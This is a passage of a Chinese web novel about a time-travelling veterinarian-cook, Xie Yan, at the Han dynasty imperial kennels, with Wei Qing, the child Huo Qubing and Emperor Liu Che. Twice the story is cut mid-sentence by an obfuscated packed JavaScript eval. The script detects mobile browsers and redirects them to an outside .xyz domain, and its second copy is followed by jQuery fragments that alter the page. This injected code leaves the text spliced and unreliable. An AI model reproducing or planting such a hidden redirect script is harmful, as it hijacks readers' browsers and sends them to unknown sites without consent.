杨得意抓着他去库房,打开杂粮缸,谢晏看到一包红豆,最少有二十斤:“怎么——你何时买的?” “陛下送的。就不该给你配两个徒弟。你有多少日子没有进过库房?”杨得意指着红豆,“吃,从明日起,天天煮豆子,我让你吃个够!” 谢晏尴尬心虚,突然想起什么,“吃就吃!” 晚饭后,谢晏泡一盆红豆。 杨得意不可思议:“你疯了?” “又不叫你帮我吃!”谢晏用木盖盖上去烧水洗漱,“我的小猪喂了吗?” 杨得意没理他。 小黄门低声说:“喂了。用筛面粉筛出的麦麸喂的。猪圈里也撒了一层草木灰。” 谢晏放心了。 翌日清晨,谢晏起来就煮红豆,令两个同僚做红枣馅。 早饭后谢晏做月饼的酥皮,同僚帮他搅豆沙。 酥皮做好,谢晏叫同僚包月饼,他把烤炉烧热。 月饼放到烤盘上——烤盘来自杨得意,他平日里烤肉的盘子。谢晏把烤盘放进去,烤炉封上,待烤炉外面不烫,谢晏打开,皮酥掉渣。 谢晏掰两半递给同僚。 “晏兄!” 稚嫩的声音从门外传来。 谢晏笑了:“来得真巧啊。” 小孩跑进来。 卫青在其身后,手里拎着两份点心和一块肉。 谢晏蹲下去,小孩扑上来质问:“晏兄,是不是把我忘了啊?你怎么不去接我啊?” “我们不是说好了,你舅舅送你过来,顺便选小狗。” 谢晏闻言便知,卫青拿他糊弄小孩。 卫青想“死道友不死贫道”,也要问问他答不答应! 小孩回头,卫青变脸。 突然想起什么,卫青叹气:“你祖母心疼你,见不得你去别人家。我要把你送过来,她就偷偷流眼泪。我能有什么办法?” 小孩重重地叹了一口气,无奈地说:“真拿她没办法!” 吃月饼的二人呛到。 谢晏抱走小孩。 小孩看到案板上的小圆饼,眼睛一亮:“晏兄,我好想好想你,我都想饿了。” 13.红豆月饼 卫青装不认识大外甥,点心和肉放案板上就躲出去。 谢晏把小孩放地上,拿一块豆沙月饼:“新做的,不知道香不香,劳烦大宝品尝。” 小霍去病接过去:“我帮晏兄尝尝香不香。” 谢晏拱手:“多谢!” 小孩还礼:“不要多谢。” 谢晏的两个同僚兼徒弟无语又想笑。 这孩子跟谁学的? 过家家呢? 可不就是过家家。 毕竟一个十二岁一个才三岁。 …… 红豆皮被谢晏的同僚碾成渣,乍一看只剩红豆沙,无论谁吃都不塞牙,老少皆宜。 豆沙中放了许多糖,甜而不齁。 月饼皮是用猪油做的,又酥又香。 每个月饼上都有一朵小红花。 谢晏用八角蘸着红色菜汁印上去的。 莫说当了半辈子奴隶的卫家做不出又酥又香又好看的饼,宫中也不多见。 别看霍去病年幼,他也能分清粗糠和细粮。 小霍去病只吃一口就后悔听舅舅的话,竟然今日才来探望晏兄。 谢晏用盘子盛五个:“慢慢吃,没人跟你争抢。你看锅盖上面,还有许多未做。那些烤熟,你顿顿吃也吃不完。” 另一只手拍掉小孩身上的酥皮碎渣,谢晏便牵着他的小手出去。 谢晏的两个同僚把烤炉烧热,再次烤酥饼。 卫青在门外树下站着。 林檎树上的林檎果有的熟了,卫青挑个红的,用汗巾擦一下咔嚓咬上一口,又脆又甜。 谢晏出来,卫青踮起脚抬手摘一个递给他。 小霍去病朝舅舅看去。 卫青看到外甥小手油乎乎的,嘴巴油光锃亮,心里很是纳闷,这孩子怎么小小年纪就有两幅面孔。 在家多乖啊。 卫青挑眉:“不吃饼了?” 小孩摇摇头,转向谢晏,朝盘子看去。 谢晏给他一个红枣馅饼,便问卫青吃红枣还是红豆。 卫青:“没有肉馅的?” “羊肉馅啊?那我们晌午吃烤——”谢晏把“包子”二字咽回去,他不会包十八个褶的包子,“吃烤肉饼。” 甜食对卫青而言都一样,他随便选一个。 卫家大宝看过去:“舅舅,香不香啊?” 卫青浅尝一口,酥皮无可挑剔。 卫大宝得意地扬起下巴:“我晏兄做的。” 卫青哼笑一声:“不是我带你过来,你晏兄知道你是谁?” “没叫你带我来啊。”小孩奶声声说道。 卫青看看左右手,林檎和豆沙饼,朝他身侧一脚。 小孩闪身到谢晏身后。 谢晏猝不及防,险些被他拽倒。 卫青不敢再吓唬外甥:“好好吃饼,不许调皮!” 小孩看到谢晏踉跄了一下,也不敢拽他。 谢晏低头看看短衣上的油手印,暗暗提醒自己,孩子三岁,虚岁三岁,羊屎蛋子都要尝尝咸淡的年龄,不要同他计较。 如此几次,谢晏心平气和地把小孩捞到身前,问他去不去狗窝。 小孩连连点头,他可太想去了。 卫青朝谢晏伸手。谢晏把盘子递过去,卫青进院盛十多个酥饼才去狗窝。 杨得意等人在狗窝训狗。 卫青过去,杨得意就叫众人歇息。 烤饼的香味早就飘到狗窝。 众人都知道谢晏不是吃独食的性子,便耐心等他送过来。 虽然送饼的人不是谢晏,但结果没变,他们吃到了喷香的酥饼。 饶是杨得意早有心理准备,也没想到谢晏又把宫中擅长面点的厨子比下去。 杨得意想起他出门前谢晏准备一大碗猪油:“饼这么酥香是不是因为你用了猪油?” 谢晏故作高深地微微摇头:“用了红豆。” “咳!”小黄门赵大被饼呛着。 杨得意顿时感到饼塞牙。 卫青见状朝杨得意手上看一下:“是红豆啊。” 杨得意呼吸一滞。 这个卫仲卿,怎么这么呆啊。 这么呆一个人,皇帝亲自教养,图什么? 杨得意深深地看了他一眼,又拿走一个饼,便朝狗走去。 不能离他太近,否则容易呼吸不畅憋死过去。 卫青看向谢晏,不明所以:“我说错了?” 赵大忍着笑解释,“阿晏先前不知道库房有红豆,又去西市买了许多。杨公公数落他一顿,叫他日后天天吃豆子。没想到红豆可以做酥饼。”朝谢晏睨了一眼,“要是今日这个吃法,这个月底就吃没了。” 将将洗好手的啬夫跑过来:“给我留一个!” 卫青把盘子递过去:“厨房还有许多。” 啬夫闻言并没有停顿。 卫青朝谢晏看去:“你没有告诉杨公公红豆可以做饼?” 谢晏:“他因为这事二话不说给我一巴掌,我才不要告诉他!” 卫青心想说,别孩子气。 可是一看到谢晏的小身板小脸,卫青又不得不把此话咽回去。 “你是不是还没吃?”卫青把盘子递过去。 谢晏拿一个,小孩仰头看他。 谢晏不敢叫他吃太多,“待会儿我们吃烤肉饼。你渴不渴啊?” 小孩点头。 卫青把盘子递给赵大,领着外甥回宿舍。 谢晏边吃边跟上,到林檎树下停一下,摘两个林檎,给他俩徒弟。 卫青到草棚下就舀缸里的水。 小孩摇头晃脑:“舅舅,不可以,水里有虫子!” 卫青扭头,正好看到谢晏点头。卫青把“别胡说”三个字咽回去:“真有?” “很细很长的小虫,我见过几次,不仔细看很容易忽视。”谢晏朝堂屋看去,“屋里有今早才烧的。” 卫青到屋里把水壶拿出来:“凉了?” 谢晏:“也没有缸里的水凉。我们才吃过油酥饼,喝太凉的水容易闹肚子。” 小孩附和:“舅舅什么都不懂!” 卫青朝外甥脸上捏一下,找个干净的碗,给他倒半碗。 谢晏卷起衣袖,把肉和羊排分开,然后扔到水里泡出血水,他去准备配菜,以及泡花椒水。 随后,谢晏教同僚炖羊排,他剁羊肉馅。 搅拌肉馅的时候,谢晏分三次加入许多花椒水。 卫青从未见过他娘他姐这样调肉馅:“加这么多水做什么?” 谢晏:“花椒可以去膻,加了水的羊肉馅,回头你吃就知道了。” 狗舍多了六人,卫青买的肉远远不够,谢晏把肉馅调好,找出六个鸭蛋和六个鸡蛋,待会儿做木耳炒蛋和青菜炒蛋。 谢晏把菜交给卫青清洗,他和面擀面条。 面条切好备用,谢晏开始包肉馅。 因为他不会捏包子褶,就包成四四方方。 最后一炉烤饼出炉,谢晏等烤炉热了,就把包子放进去。 烤出肉香,谢晏开始炒菜。 他的同僚一个烧火,一个看着羊排有没有炖烂。羊排烂了,谢晏的同僚把面条放进去,最后放一把青菜。 小霍去病从灶前转到灶后面。 烧火的黄门问他吃肉还是吃面。 小孩看看烤炉,看看炒蛋,又看看羊排砂锅,摸着小肚肚满脸纠结。 谢晏拿个月饼故意逗他:“还吃吗?” 小孩害羞了,扭身叫舅舅抱抱。 卫青抱起他:“以后还敢不敢见到美食吃到饱?” 小孩把小脑袋埋在他肩上装听不见。 用饭的时候,小孩哪样都没落下。 谢晏给他盛两根面半根羊排,夹几块木耳鸡蛋,又给他切半个包子。 包子切开,汁水多到流出,卫青感到口齿生津,瞬时明白谢晏那句话是何意。 杨得意不禁问:“阿晏,既然你这么会做饭,以前怎么没见你做过?” 谢晏:“不是很难吃,也吃不死人。” 杨得意噎住。 赵大:“合着来到这里开始做饭,是因为我们做的饭菜难以下咽,还有可能毒死你?” “不然呢?”谢晏反问。 赵大看了看手里的馅饼,实在不舍得说“不吃了”。 不舍得就只能受着! 卫青看着众人敢怒不敢言的样子顿时想笑,心里有点替谢晏感到担心。 午后,卫青趁着众人忙碌,低声提醒谢晏日后说话别那么直。 谢晏拍拍他的肩膀:“我有分寸!” 小霍去病挥挥小手:“舅舅再见!” 卫青愣住:“再什么见?我又不走!” “啊?”小孩惊得张大嘴巴。 谢晏:“现在有点早。待会我们去摘林檎和石榴。摘满两筐再回去。” 狗舍门外的果树不属于皇帝。确切地说是被皇家淘汰的。除了品相不好,不够大,别的没毛病。 谢晏要摘的就是这些果子。 杨得意等人吃够了。 鸡鸭也吃够了。 因此有个啬夫听闻此话就去库房找两个柳筐——众人闲着无事编的。 两筐摘满,卫青把驴车牵过来,小霍去病绕着驴车打转。 谢晏伸手抓住他。 小孩气得跺脚:“你和谁一边的?!” 谢晏:“今日过节啊。” 小孩停下,又黑又亮的眼中尽是疑惑,仿佛在问,那又如何。 谢晏:“八月十五,中秋月圆,你要和祖母大舅舅过节。他们已经准备了许多美食,只等你回去。待会我叔父也会过来。” 小孩还是不懂:“不可以和晏兄过节吗?” 谢晏舍得暴揍熊孩子,比如他外甥。不舍得收拾讲道理的小孩。哪怕是歪理。只要那孩子不哭不闹,谢晏就下不去手,比如他侄女。 偏巧此时的霍去病是后者。 谢晏就想松口,冷不丁想起卫家的情况。 卫青同卫家大哥大姐年龄相差较多,又非同父,他们同卫青没有多少情分。虽说卫青也得皇帝看重,可是在卫家人看来,他是沾了卫子夫的光。 卫青在卫家想必处于食物链最底层。 出来一趟,他把卫家大孙子扔下一个人回去,莫说旁人,霍去病的亲娘就会心生埋怨。 谢晏自认为可以照顾好霍去病。可是在世人眼中,他是个年仅十二岁的半大小子,不一定能照顾好自己。霍去病的亲娘定会认为卫青心大,不是自己亲生的不心疼。 谢晏蹲下:“你想想,来时你和舅舅说说笑笑,回去的时候他一个人驾车,孤零零的,难过不难过?” 卫青想解释,小霍去病点头。 谢晏:“过两日舅舅来这边当差,再把你捎过来?你想住多久住多久。” 小孩想到什么,眼珠一转:“我可以和晏兄爬树吗?”指着不远处的大树叉子。他一直很想在树上睡觉。 谢晏:“也可以和晏兄钓螃蟹,抓野鸡,套兔子。对了,今天你必须回去。因为你要把狗狗送回家。” 赵大把狗笼递过来,笼中有个刚满月的小狗。 卫青接过去:“这是你自己挑的看家狗。” 小孩忘了,看到乖乖的小狗,终于舍得上车。 驴车走远,杨得意道:“不回去也无妨。咱们这么多人,还能看不住一个孩子?” 谢晏:“你叫卫青回去怎么解释?” “这有什么——”杨得意想起卫青和卫子夫同母异父,同他别的兄弟姊妹也是,“是我忘了。还是你想的周到。” 谢晏撇嘴:“你能想到什么?一天到晚,不是狗就是吃!” 杨得意抬手要揍他。 谢晏跑去狗舍:“我挑两只呆狗,后天进城卖掉。” 卖狗这件事,昨晚用饭的时候谢晏就告诉众人。 生意是谢晏谈的,也是他出面请示陛下,对于如何分账,众人不敢有异议。 谢晏的意思卖的钱单收着,修缮狗窝,给狗加餐。猎犬养得油光水亮,定能得到皇家重赏。 谢晏又提出卖的钱给众人加餐加衣。 他分文不取! 谢晏此举令众人没有一丝不满,还觉得占他便宜,有些羞愧。 杨得意便一锤定音! 赵大闻言慌忙跟去狗窝:“你会挑个屁!” 一日后,清晨,谢晏和小黄门赵大带着两只狗,一黑一黄,前往绸衣男子家中。 过程很顺利。 大抵是皇家御犬,哪怕是淘汰的,也养得极好。 载着二十贯钱,俩人不敢在野外逗留,直奔狗舍。 杨得意等人难得都在宿舍门外等着。 杨得意看到实打实二十贯钱,饶是早就知道,还是感到心惊:“居然真有人舍得花这么多钱买狗?” 谢晏:“听说有人舍得花上百金买一条猎犬。” 众人倒吸一口气。 赵大半晌憋出一句:“难怪你挑看门狗。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫青回答去病这几日很爱和邻居的小孙子玩耍。 皇帝皱眉。 孩子三岁大,可以开蒙念书。 皇帝令心腹太监春望去卫家把孩子接过来。 春望一脸难色:“小公子跟奴婢不熟啊。” 卫青:“他若不来,你可以说你们在狗舍见过。” 皇帝呵一声:“谢晏的名头比朕好使!” 卫青这些日子算是弄清楚一件事,皇帝就是嘴上不饶人,因此不在为此感到惊慌失措:“陛下,阿晏可以和他玩。” 皇帝冲春望使个眼色。 春望带着两名禁卫驾车去卫家。 果然,皇帝出面接人,卫家无人抱怨,且欢天喜地地送小不点上车。 小不点到建章没有看到谢晏,闷不吭声,谁也不理。 正好卫青等人习武结束,皇帝叫他换身衣服,领着小不点前往狗舍。 谢晏和两个同僚才把藕洗干净,准备用茱萸酱做酸辣藕片,炖藕汤,蒸糯米藕。 皇帝出现,不能没肉。 谢晏偷偷翻个白眼,去狗舍后面猪圈旁边,抓一只大公鸡,用小鸡炖藕。原先的藕汤改成青菜蛋花汤。 早上谢晏和了发面泡了糯米——糯米是刘彻先前叫人送来的。 谢晏被杨得意数落一通,便去查看库房余粮,找出一包糯米。 谢晏叫两个帮手煮汤杀鸡炖菜,他蒸馒头蒸糯米藕。 可惜谢晏不会揉馒头,索性做成枕头形状。 共蒸三笼屉,两屉子馒头,一屉子藕。 糯米藕切片,谢晏才想到只有蜂蜜,没有桂花蜜。 建章园林有许多花花草草,自然也有桂花。近日谢晏就闻到桂花香。他决定先用蜂蜜凑合一下,改日找个蜂窝,弄到一窝蜜,再做桂花蜜。 这一次谢晏留两成,杨得意带走八成饭菜去狗窝。 天凉了,谢晏就把用饭地点改在堂屋。 刘彻看着藕蒸米、炒藕片、小鸡炖藕和鸡蛋汤,不禁啧一声。 谢晏抬眼。 [啧个鬼!] [你不想吃,我还不想做!] 刘彻装没听见,拿个蒸馍。 小霍去病也伸手拿一个。 卫青拦下:“你才多大?半个!”给他一小半,“吃完再拿。” 谢晏给他夹个鸡腿肉:“吃什么馍?吃肉!长高高!” 刘彻:“也没见你长高?” 谢晏:“我小而精。不像某些人,被人哄得团团转,还以为人家一心为他着想。” 刘彻想到了他亲舅舅田蚡。 卫青虽然没听明白,不妨碍他注意到皇帝神色异常,“阿晏,这个是什么?”指着糯米藕转移话题。 谢晏给他夹一块,又给小霍去病夹一块。 刘彻感到鸡肉索然无味,有些担心韩嫣,“你说的是朕的舅舅田蚡吧?” “嘶!” 谢晏咬到舌头。 [他怎么知道?] 刘彻胡扯:“有人弹劾朕的舅舅。不知为何传到太后耳朵里。朕这两日便在宫里宽慰太后。” [原来如此!] [不得不说,王太后确实疼这个同母异父的弟弟] 谢晏想起可怜的流民。 谢晏前世的父母对他的教养很用心,虽然他各方面都平庸,但也不缺同理心。 “陛下,江山姓刘,不姓王,也不姓田。”谢晏忍不住开口。 刘彻叹气:“太后为朕谋划多年,十分不易。她的面子,朕不能不给。”想到以后可能面临的情形,所以刘彻苦恼的神色是真的,“虽然不能动田蚡,但是可以查查。朕决定令韩嫣暗查田蚡。” 谢晏神色惊愕。 [据说韩嫣是被太后弄死的。原来是为了田蚡啊。] [神仙打架,凡人遭殃!] [以后能不进宫就不进宫。否则韩嫣的今日必将是我的明日!] 谢晏恭维:“韩大人向来忧陛下所忧,一定不会辜负陛下的期望!” “还用你说。”刘彻话锋一转,“母后说你送的小狗很乖。一直想见见你。明日随朕进宫拜见太后?” 谢晏呼吸一滞,瞬时咳得惊天动地! 14.田蚡被罚 卫青赶忙给谢晏倒水。 刘彻故意说:“看把你喜的!” 谢晏:…… [放屁!] [我这是吓的!] 卫青给他擦擦嘴角,把水递过去:“润润喉。” 小霍去病朝谢晏看去:“晏兄哭了?” 卫青:“呛着了。你晏兄没病。” 小孩把“晏兄病了吗”几个字咽回去。 卫青把杯子放下,又把汗巾递过去:“陛下,有什么事饭后再说。” 刘彻点点头:“正好朕想尝尝这个糯米藕。” [吃吧,吃吧,呛死你得了!] 谢晏没好气地瞥一眼皇帝。 不敢直勾勾瞪他。 谢晏担心刘彻愤怒,他被腰斩弃市。 饭毕,刘彻带着卫青回去,没提进宫的事,谢晏怀疑狗皇帝先前只是吓唬他。 谢晏可没胆子问他为何吓自己。他还没有看到卫青直捣龙城,小霍去病长大,可不想惹怒刘彻英年早逝! 不过小霍去病没走。 这小孩吃饱喝足就窝在谢晏身边睡着了。 狗舍人少房子多,谢晏单独一间,他把小孩抱到卧室,也趁机睡一会。 谢晏晚上看食谱看医术,睡得不早,但睡眠好,一夜到天亮,晌午不是很困,两炷香就醒了。 醒来后,谢晏把他的医书找出来,抄在空白竹简上。 约莫过了半个时辰,手腕发酸,谢晏把书扔回空间,竹简摊开等墨干,他把小霍去病叫起来。 小孩迷迷瞪瞪睁开眼,窝到他怀里继续睡。 谢晏拎着他的鞋,抱着他出去,凉风习习,小孩清醒过来。 穿戴齐整,谢晏拿着小篮子和绑着镰刀的木棍,带着他去打桂花。 谢晏不在意小孩摘多少桂花,不哭不闹便可。 小霍去病一会儿摘桂花,一会儿拔草,一会儿找蚂蚱,一会儿戳蚂蚁,自得其乐。谢晏叫他回去,他还有些不舍。 到宿舍,谢晏坐下歇息,顺便找一本书,教小孩读书。 小霍去病年少无知只想玩,看到竹简他就说渴了,一会儿又说饿了,一会儿又说想睡觉。 “我也要读书啊。晏兄给你做的糯米藕好吃吗?”谢晏指着竹简上的字,“这个就是做法。如果我不读书,便会和你母亲一样不会做饭。你舅舅拿回家的食谱,你母亲认识吗?” 小霍去病的母亲卫少儿不认识。 卫青在家的几日,她早上找卫青,晌午也不放过他,卫青拿着竹简念菜谱,卫少儿和她大姐备菜。 小孩看到过不下三次。 在家的时候他只觉得好玩,舅舅在厨房读书欸。 如今听到谢晏的这番话,小孩明白了。 谢晏:“无论做什么都要读书。晏兄会给小羊羔看病,也是在书中学的。你要不要学啊?” 小孩点头。 谢晏教他识字。 霍去病太小,谢晏估计他还不记事,所以教他也没有什么章法,小孩对哪个字感兴趣,他就教哪个字。 不知不觉学到金乌西坠。 谢晏随便翻个食谱,仗着小不点不识字,对他说晚上吃扯面。 小不点只知道他晏兄做的食物都美味。不懂何为扯面,也不妨碍他又蹦又跳。 卫青不放心外甥,晚饭后策马前来狗舍歇息。 谢晏把小不点交给他就去泡豆子。 翌日天蒙蒙亮,谢晏被公鸡叫醒,起来和一块面,又去睡个回笼觉。 辰时左右,谢晏起来,找出小磨盘刷干净,便和两个同僚磨豆子。 磨好豆浆,一个同僚烧火,一个同僚煮豆浆以及看着油锅,谢晏揉面切面条。 谢晏正准备炸油条,小不点趿拉着鞋出来。谢晏顾不上他,指着灶前叫他帮忙烧火。 谢晏的同僚冲小孩招招手,小孩窝在人家身边,看着熊熊的柴火,无精打采地问:“舅舅呢?” 谢晏:“你舅舅早上习武。此时应该在校场。你也想去?” 小孩想骑马,但更想吃美食,使劲摇了摇头。 谢晏一边炸油条,一边教同僚把豆浆盛出,分三份,一份豆浆,一份做成豆腐脑,一份裹上布放筐中压成豆腐。 过了两炷香,所有油条出锅,谢晏拉着小孩上茅房,然后去洗漱。 谢晏的两个同僚一个盛豆浆,一个去狗舍喊杨得意等人。 杨得意喜欢面食,可是天天饼和面也吃够了。因此谢晏的油条豆浆很受欢迎。 小霍去病喝了一碗豆浆,吃一根油条,撑得打嗝。 杨得意逗他:“以后跟你晏兄一家吧。” 无知的小鬼欢快地点头。 早饭后,谢晏把他手抄的医书找出来,他看书,顺便教小孩识字。 期间刘彻来过一次,看到小孩拿着木棍,谢晏握着他的手,教他在地上算算数,就把小孩留下。直到休沐日,卫青回家把他接走。 谢晏在长安没有家,休沐日也在狗舍。但该休息还是要休息。因此这一日叫上三个同僚,拿着弓箭大刀南下,到秦岭脚下找蜂窝。 蜂窝没有,碰到一只野鸡。 谢晏从百姓手中买到一罐蜂蜜和许多山珍。 回到狗舍,谢晏找杨得意报账。 先前谢晏为狗舍赚了二十贯,杨得意自然没有吝啬。 翌日,小霍去病又想跟舅舅去狗舍,可惜赶上了阴雨天。 又过半个多月,九月中旬,小孩才有机会到狗舍。 期间谢晏卖了一只两个月大的小狗。 买家依然是那位绸衣公子。 谢晏买五只母鸡五只公鸡和两只母鸭一只公鸭。 此后狗舍再也不必出去买鸡蛋鸭蛋。 小孩抵达狗舍当天晌午,谢晏蒸一盆鸡蛋羹。 每人分到半碗,小不点也是如此。 杨得意看向小霍去病:“难怪他喜欢你。他在家也不如在这里滋润。” 赵大:“不至于吧?卫家如今还缺钱?” 杨得意:“节俭惯了。疼孩子也不会今日蛋明日肉,变着法给他做美食。” 小不点听不懂,睁大眼睛看着谢晏,是说我吗。 “说他自己,在家只能吃干巴巴的野菜馍馍。”谢晏伸手,“你的碗给我,我给你盛几根面。再吃点菜。明日炖小鸡。” 小不点还记得他舅舅说过,不许可着一样美食吃到饱。 这番话卫青在狗舍说过,在家也说过。 先前他不敢教大外甥。 这些日子隐隐意识到皇帝亲自教他兵法,并非因为他是卫夫人的弟弟。自卑感少了许多,卫青在家也敢发表意见。 小孩把碗递过去,靠在谢晏身上,捂住嘴巴小声说:“晏兄,我想吃烤鸭。” 谢晏:“如果吃烤鸭就没有炖鸡。烤鸭很麻烦,又要杀又要烤,要花上一天的时间。你自己选。” 杨得意:“他才多大,知道怎么选?当然是都要!” 谢晏:“明日吃鸡,晏兄歇几日,再做烤鸭?” 小孩连连点头。 谢晏:“饭后和晏兄看书,我们看看炖小鸡怎么做好吃。” 小孩信以为真。 杨得意不禁说:“但凡他认识几个字——” 小孩看过去。 杨得意赶忙把余下的话咽回去:“但凡大宝自己认识,都不会叫你教他。” 小孩满意地直点头。 哄骗这么小的孩子,杨得意良心不安。 饭后,杨得意去狗舍。 谢晏和小孩也没看太久,一炷香,建章卫带来一辆驴车,驾车的是女子。 谢晏起身,小霍去病跟着起来,拉住他的手。谢晏另一只手摸摸他的小脑袋:“别担心。你舅舅在隔壁,没有人敢欺负我们。”走过去,车上的男人嘴唇发白,跟脱水似的。 谢晏是个半桶水兽医,没有给人看过病。先前给卫青止血,也是因为看了两本医书。真要给人治病,他真不行。 谢晏:“病了?” 女子连连点头:“昨儿又冷又热,以为得了冷热病。谁知今儿又开始拉。这才半天,人就这样了。” 谢晏:“进城找医者啊。” 女子面露难色。 谢晏明白,为了省钱:“我给你开外敷内用的两个方子。你进城抓药,顺便问问对症不对症。我是兽医。你只听我的有可能耽误救治。在这里等着。”人命关天,谢晏也没有迟疑,抱起小霍去病,到室内就研磨,对着医书抄药方。 随后把两根竹简递给女子,女子千恩万谢,要给谢晏磕一个。谢晏叫她赶紧进城。 建章卫好奇,问他写的什么方子。 谢晏:“外敷的方子是把白芷、桂枝等药包起来塞入鼻孔中,等发汗了取下来。内服就是黄芪、半夏那些药煎服。我看他像得了疟疾。也不知道几日了,不一定有用。” 建章卫:“疟疾狠了会死人?” “找个会针灸的医者,加上外敷内用,没大碍。其实无论什么病都要及时就医。否则小病也会拖成大病。”谢晏低头,“大宝,听见了吗?因为怕喝一碗苦药谎称自己没病,回头再想痊愈,要喝上十碗苦药。” 小孩抿嘴笑笑,不接这茬。 谢晏戳一下他的小脑门:“我知道你听见了。我们去看看小猪。” 建章卫:“我也该回去了。” 谢晏:“再有人找我治病,你就说我只看过几本医书。” “没用。因为你治病不收钱。”建章卫道,“不如跟太医学学?建章也有太医。” 谢晏:“不学!会的越多越辛苦!” 建章卫噎了一下:“那——你就不应当看医术。” “我要知道自己有没有病。”医术要学,但不能闹得人尽皆知,否则以后他甭想一天歇半天。 谢晏拉着小孩去狗窝。 建章卫无奈地摇了摇头,骑马回去。 小孩吃完烤鸭的第二日便随他舅回城。 这一次他带回去一筐柿子、大枣和石榴,还有一小罐桂花蜜,一斤重。 谢晏也是到了大汉才知道此时的一斤是后世的半斤。 小孩人不大,半斤重的小坛子还是能稳稳抱住,是以他到车上就把桂花蜜搂在怀里。 “到家和你母亲、姨母、祖母以及几个舅舅一起用啊。晏兄这里还有,改日我们也一起用。”谢晏用斗篷给他裹严实,“不许拿掉啊。病了要喝苦药。” 小孩乖乖点头。 卫青上车:“我盯着他。”抬手把大外甥勾到身边。 谢晏看着舅甥二人走远才去猪圈。 猪圈清理干净,谢晏又清理鸡圈和鸭圈。 这几个是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197383|180784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他要养的,自然由他收拾。 此后愈发寒冷。 九月底小霍去病又来一次,待几日回去之后,卫青告诉谢晏,他母亲不许小孩再过来。 卫青没有说明原因。谢晏估计还是因为他年少,卫家不相信他可以照顾好小不点。 又过了半个多月,杨得意着凉,谢晏发现少两味药,就带着药方前往益和堂,顺便请坐堂郎中帮他看看药方对症不对症。 谢晏才到城门边就碰几人策马狂奔,掀起阵阵尘土,险些没把他呛死。 忍不住骂一句,“赶着去投胎!” 几匹马停在他身边。 谢晏心慌,第一次意识到何为“祸从口中”。 这一刻谢晏无比后悔躲懒。 前些日子卫青说他晚上没事,不如教他习武。他三天两头进城,有武艺傍身,终归多一份保障。 他是怎么回的?我一个没爹没娘的兽医,能得罪什么人。再说了,我在建章当差,市井流氓讨好我还来不及,又怎会刁难于我。 “哪天你要出事,定是因为你这张破嘴!” 谢晏听着声音耳熟,抬头看去,风尘仆仆,胡子邋遢,哪有昔日俊美,说他是乞丐也不为过。好在眼睛眉毛他很熟悉。 “韩嫣?” 谢晏诧异:“你怎么这副——”“死样”二字慌忙咽回去,“这是打哪儿来,又往哪儿去?” 韩嫣居高临下:“不必知道我打哪儿来。我问你,陛下现在何处?” “建章啊。”谢晏想起什么,“等等,你刚刚听见了?” 韩嫣哼一声,掉头前往位于长安城西边的建章园林。 谢晏恍然想起,先前武安侯田蚡去救灾,皇帝叫韩嫣查他,韩嫣必是去了灾区。谢晏回头看一眼,敢查国舅?被太后巧立名目砍了,你就不哼唧了。 汉武一朝能臣甚多,少一个韩嫣,不会危及社稷。多他一个也不多!再说了,他是刘彻的初恋男友,又不是他的,要救他也轮不到自己。 谢晏事不关己地骑着小毛驴进城。 谢晏没想到杨得意还没痊愈,赵大又病了。赵大病愈,轮到李三。 担心自己也被传染生病,谢晏吃用都十分谨慎,也不许卫青靠近狗舍。 然而千防万防还是没防住。 谢晏痊愈,狗舍南边果林里的雪已有一尺深。 在屋里憋了许多天,谢晏看着什么都稀奇。 找出铁锨,谢晏在林子里堆出动物园。 午饭后,谢晏叫上李三进城。 抵达西市,二人去买猪肉,因为油罐子见底了。 肉行的人都认识谢晏。 一来他年少,不像贵人家的奴仆,衣着像富裕人家,可是富裕人家的公子不必亲自出来买菜,是以他给人的感觉很违和。 二来他每次都买很多,肥猪肉二十斤打底。羊肉至少十斤。什么样的家境经得起这么造啊。 猪肉张没等他靠近就喊:“小谢公子,又来买肥肉啊?这些日子怎么没见你过来?” 谢晏指着张屠夫已经分割好的肥猪肉,“近日病了,没怎么出来。给我来二十斤!” “好嘞!”张屠夫拿三块丢进筐中,过了称,肉放到李三背上的箩筐中,“多一两,算二十斤。” 李三给钱。 张屠夫把钱揣怀里,担心被流氓抢去:“小谢公子,最近冷的很,你要当心啊。” 谢晏点点头,准备去羊肉铺。 “等一下,小谢公子。” 谢晏停下。 张屠夫从肉案另一侧探出脖子,低声问:“前些日子我去益和堂抓药,跟伙计闲聊,听说小先生在建章做事?是不是可以时常见到陛下?” 谢晏:“陛下亲自前往狗舍选猎犬的时候,我有机会看到陛下。不过不敢靠近。您想见陛下?可以找宫门禁卫啊。这两年陛下招纳贤士,说出你擅长什么,十有八/九能见到陛下。” 张屠夫摇头:“我一个屠夫,除了杀猪,能擅长啥。听说国舅爷,就是那个姓田的,武安侯,出事了,被陛下罚去大半家产。为啥啊?” 谢晏闻言毫不意外。 田蚡若是真在赈灾的时候中饱私囊,以刘彻的性子,不可能不办田蚡。 王太后素来在意这个弟弟,田蚡在她面前掉两滴猫尿,刘彻别想把他舅一撸到底。 谢晏心下奇怪,你一个杀猪匠,关心国舅爷,关心得着吗。 “问他干什么?太尉欠你猪肉钱啊?”谢晏问。 张屠夫点头。 谢晏惊得张口结舌。 对此不感兴趣的李三叶不禁转头:“他欠你钱?!” 张屠夫点头:“不止我一家!二位有所不知,那田家养了许多猎犬名犬,天天来肉行买肉。以往是一月一结。算着时间,前天就该过来。可是——我们就有点担心。” 李三:“欠债还钱,天经地义。你们去府上要啊。” 张屠夫吓得直摇头:“听说那位素来心眼极小。我们这个时候登门,肯定觉得我们故意的。回头陛下再重用他舅,不用姓田的出面,他的爪牙就会收拾我们,借此讨好他。” 